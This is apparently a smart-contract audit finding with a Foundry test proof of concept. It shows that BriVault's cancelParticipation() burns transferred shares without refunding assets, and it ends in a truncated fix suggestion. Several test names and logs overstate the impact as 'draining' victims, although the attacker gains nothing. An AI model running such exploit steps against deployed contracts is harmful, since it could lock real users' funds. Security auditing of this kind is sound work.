The POC demonstrates how the cancelParticipation() function allows users to burn shares acquired through transfers without receiving corresponding asset refunds, creating an allowance sink where shares can be destroyed without proper asset reclamation. It shows that when a user transfers shares to another address, the recipient can call cancelParticipation() to burn all their shares while only receiving refunds for their own staked assets, effectively destroying the transferred shares without economic compensation. The test verifies that legitimate share transfers become effectively irreversible and the protocol loses asset reclamation capability.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: cancelParticipation Allowance Sink Vulnerability
* Impact: Assets become permanently unreclaimable, protocol conservation laws violated
*
* Root Cause: cancelParticipation() burns all user shares but only refunds stakedAsset amount.
* Users can burn transferred shares without economic entitlement, creating allowance sink.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract CancelParticipationAllowanceSinkPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(victim, 1000 ether);
asset.mint(attacker, 1000 ether);
vm.startPrank(victim);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* CRITICAL VULNERABILITY: Allowance Sink Attack
* Attacker receives shares via transfer, then burns them without asset refund
*/
function test_AllowanceSinkAttack_ShareBurningWithoutAssetRefund() public {
console.log("=== ALLOWANCE SINK ATTACK ===");
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim);
vault.joinEvent(0);
vm.stopPrank();
assertEq(vault.balanceOf(victim), 198 ether, "Victim has shares after deposit");
assertEq(vault.stakedAsset(victim), 198 ether, "Victim has staked assets");
assertEq(asset.balanceOf(address(vault)), 198 ether, "Vault holds assets");
vm.startPrank(victim);
vault.transfer(attacker, 100 ether);
vm.stopPrank();
assertEq(vault.balanceOf(victim), 98 ether, "Victim has 98 shares left");
assertEq(vault.balanceOf(attacker), 100 ether, "Attacker has 100 transferred shares");
assertEq(vault.stakedAsset(attacker), 0, "Attacker has no staked assets");
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
assertEq(vault.balanceOf(attacker), 0, "Attacker shares burned");
assertEq(vault.stakedAsset(attacker), 0, "Attacker stake still 0");
assertEq(asset.balanceOf(attacker), 1000 ether, "Attacker got no asset refund");
assertEq(asset.balanceOf(address(vault)), 198 ether, "Vault still holds victim's assets");
console.log("Victim deposited 200 assets, got 198 shares");
console.log("Victim transferred 100 shares to attacker");
console.log("Attacker burned 100 shares via cancelParticipation");
console.log("Attacker got 0 asset refund (allowance sink created)");
console.log("Victim's 100 assets now unreclaimable");
}
* Demonstrate Economic Impact - Multiple Victims
* Show how attacker can drain multiple victims' assets
*/
function test_EconomicImpact_MultipleVictimDrain() public {
address[5] memory victims;
uint256 totalStaked = 0;
for (uint i = 0; i < 5; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
asset.mint(victims[i], 1000 ether);
vm.startPrank(victims[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victims[i]);
vault.joinEvent(0);
vm.stopPrank();
totalStaked += 198 ether;
}
for (uint i = 0; i < 5; i++) {
vm.startPrank(victims[i]);
uint256 victimShares = vault.balanceOf(victims[i]);
vault.transfer(attacker, victimShares / 2);
vm.stopPrank();
}
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
uint256 vaultBalance = asset.balanceOf(address(vault));
uint256 attackerSharesBurned = vault.balanceOf(attacker);
assertEq(attackerSharesBurned, 0, "All attacker shares burned");
assertEq(asset.balanceOf(attacker), 1000 ether, "Attacker gained no assets");
assertEq(vaultBalance, totalStaked, "All victim assets still locked");
console.log("=== ECONOMIC IMPACT ASSESSMENT ===");
console.log("Victims affected:", 5);
console.log("Total assets staked:", totalStaked);
console.log("Shares transferred to attacker: burned");
console.log("Assets permanently locked:", vaultBalance);
console.log("Protocol loss: assets unreclaimable from burned shares");
}
* Demonstrate Conservation Law Violation
* Show how allowance sink violates asset conservation
*/
function test_ConservationLawViolation() public {
uint256 initialVaultAssets = asset.balanceOf(address(vault));
uint256 initialVictimAssets = asset.balanceOf(victim);
uint256 initialAttackerAssets = asset.balanceOf(attacker);
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim);
vault.joinEvent(0);
vm.stopPrank();
uint256 afterDepositVault = asset.balanceOf(address(vault));
uint256 afterDepositVictim = asset.balanceOf(victim);
assertEq(afterDepositVault, initialVaultAssets + 198 ether, "Vault gained assets");
assertEq(afterDepositVictim, initialVictimAssets - 200 ether, "Victim lost deposited assets");
vm.startPrank(victim);
vault.transfer(attacker, 50 ether);
vm.stopPrank();
assertEq(asset.balanceOf(address(vault)), afterDepositVault, "Transfer doesn't move assets");
assertEq(asset.balanceOf(attacker), initialAttackerAssets, "Attacker assets unchanged");
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
uint256 finalVaultAssets = asset.balanceOf(address(vault));
uint256 finalAttackerAssets = asset.balanceOf(attacker);
assertEq(finalVaultAssets, afterDepositVault, "Vault assets unchanged");
assertEq(finalAttackerAssets, initialAttackerAssets, "Attacker got no assets");
console.log("=== CONSERVATION LAW VIOLATION ===");
console.log("Burned shares:", 50 ether);
console.log("Refunded assets:", 0);
console.log("Conservation violated: burned > refunded");
console.log("Allowance sink created");
}
}
Add stake validation before burning shares to ensure the cancelParticipation() function only allows users who actually deposited assets to burn their shares, preventing the allowance sink vulnerability: